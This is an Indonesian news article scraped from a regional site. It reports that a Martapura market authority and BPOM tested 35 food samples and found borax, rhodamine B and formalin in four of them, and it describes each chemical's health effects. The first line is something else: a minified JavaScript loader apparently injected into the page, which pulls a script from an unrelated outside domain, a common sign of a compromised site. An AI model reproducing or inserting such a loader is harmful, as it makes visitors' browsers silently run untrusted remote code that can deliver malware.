(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, PD Pasar Bauntung Batuah Martapura menggandeng Badan Pengawas Obat dan Makanan (BPOM) Banjarmasin dan Dinas Kesehatan Kabupaten Banjar, melakukan uji 35 sample makanan pangan yang dijual di lingkungan pasar, Kamis (14/2). Hasilnya, 4 bahan pangan yakni keripik gandum, pengembang kue, terasi, dan cumi kering, positif mengandung zat berbahaya seperti boraks, rhodamin B, dan formalin.
Direktur PD Pasar Bauntung Batuah Martapura Rusdiansyah mengatakan, kegiatan uji sample makanan yang dilakukan pada hari ini merupakan tindak lanjut dari arahan Menteri Kesehatan. Dimana PD Pasar sebelumnya ikut dalam pelatihan pengujian kesehatan makanan-minuman, dan diminta untuk melakukan uji sample.
“Pada hari ini kita bekerjasama dengan BPOM untuk melakukan uji sample makanan, semua ini kita lakukan demi kenyamanan kesehatan masyarakat para pengujung yang berbelanja dilingkungan pasar Martapura,†jelasnya.
Perlu diketahui dari hasil pelatihan yang diikuti pada beberapa waktu yang lalu, PD Pasar Bauntung Batuah meraih predikat ke 2 dalam penganalisaan uji sample. Hasilnya PD Pasar mendapat dapat bantuan berupa alat test kit untuk menguji bahan makanan dan minuman yang dijual oleh pedagang.
“Apabila hari ini kita dapati kebutuhan pangan yang dijual pedagang berbahaya untuk dikonsumsi, maka PD Pasar akan segera menindaklanjuti peneguran tertulis dan langsung kepada pedagang tersebut, agar sesegeranya makanan tersebut untuk ditarik dan tidak dijual lagi, apabila masih saja ditemukan maka kita akan berkoordinasi dengan Disperindak Banjar dan Dinas Kesehatan untuk melakuka pengawasan,†tegasnya.
Pengujian sample makanan yang dilakukan tersebut rencananya akan rutin dilakukan setiap tiga bulan sekali. Artinya kegiatan semacam ini tidak hanya dilakukan menjelang Haul Abah Guru Sekumpul yang akan dilaksanakan dalam waktu dekat ini melainkan rutin diagendakan PD Pasar guna kenyamanan masyarakat yang berbelanja dipasar.
Sementara itu Shabir petugas pemeriksa BPOM Banjarmasin mengatakan untuk melakukan uji sample kandungan zat bahan makanan dan minuman berbahaya tersebut, paling tidak pihaknya membutuhkan waktu 2 menit maka akan diketahui hasilnya. Dalam mengambilan sample, tim yang ditugaskan diyakini bisa melihat dan mendeteksi ciri-ciri umum pada bahan makanan tersebut teperti warna dan bau yang memang mencurigakan.
“Dari hasil 35 sample yang kita ambill, ada ditemukan 4 makanan yang mengandung zat berbahaya seperti yang kita dapati ada 2 boraks yang terkandung di keripik gandum dan pengembang, 1 Rhodamin B temukan di terasi dan 1 formalin kita temukan di cumi kering,†bebernya.
Lebih jauh Shabir mengatakan zat bahan makanan terbahaya tersebut memang sangat sering dijumpai dan ditemukan di pasaran tradisional terutama pada jenis makanan konsumsi seperti terasi dan ikan asin, sementara campuran zat berbahaya tersebut juga dijual bebas di pasaran seperti pewarna dan formalin yang dijual di toko kimia.
Antara lain sampel bahan pangan yang diambil dan diperiksa antara lain pentol, tahu bakso, mie olahan, mie yamin, terasi, cumi-cumi, ikan kering telang, udang papai, pempek, lontong, ketupat, cincau, mutiara merah, ikan peda, biji nangka ,ikan selar, ikan lajang, kerupuk, opak. Ada pula bahan cair seperti bumbu masak (merah, kuning, kareh, rawon, sop), mutiara merah,cincau, minuman segar atau sirup dan saus bakso.
Zat formalin diketahui sangat berbahaya bila terhirup, mengenai kulit dan tertelan. Jika dikonsumsi bisa menyebabka iritasi saluran pernapasan, rasa terbakar pada mulut, tenggorokan dan perut, mual,muntah hingga merusak hati, jantung, otak hingga kematian. Pada umumnya sering dijumpai dimie basah, tahu, ikan segar dan ikan kering.
Boraks merupakan bahan senyawa kimia yang sering digunakan untuk pangan apabila terhirup mengenai kulit mata dan tertelan akan berdampak iritasi saluran pernapasan, mual, saki kepala, nyeri bahkan kematian. Boraks banyak terdapat pada bahan pangan diantaranya seperti bakso, cilok, lontong, kerupuk gendar.
Rhodamin B merupakan pewarna sintetis berbentuk serbuk yang mana bila tertelan dapat menyebabkan iritasi pada saluran pencernaan, jika terpapar pada bibir dapat menyebabkan pecah pecah, kering, gatal bahkan terkelupas, gangguan fungsi hati , kanker hingga gangguan kandungan kemih. Bahan nini banyak ditemukan di kerupuk, terasi, gulali, sirup warna merah. (rendy)
KANALKALIMANTAN.COM, BANJARMASIN - Logistik surat suara Pemilihan Kepala Daerah (Pilkada) 2024 di Kota Banjarmasin mulai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengembangan kapasitas pengrajin anyaman purun dan alat penunjang produksi kerajinan, bantuan dana… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dua hari jelang pemungutan suara Pilkada 2024, Komisi Pemilihan Umum (KPU) Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Melihat dan menyikapi penyelenggaraan Pilkada (Pemilihan Kepala Daerah) Kota Banjarbaru, pasca terbit… Read More
KANALKALIMANTAN.COM, BANJARBARU - Warga Kota Banjarbaru masih dibuat bingung terkait teknis pemungutan suara pada Pilkada… Read More
KANALKALIMANTAN.COM, BAKU - Pemerintah Indonesia melalui Utusan Khusus Presiden Republik Indonesia Hashim Djojohadikusumo berhasil memikat… Read More
This website uses cookies.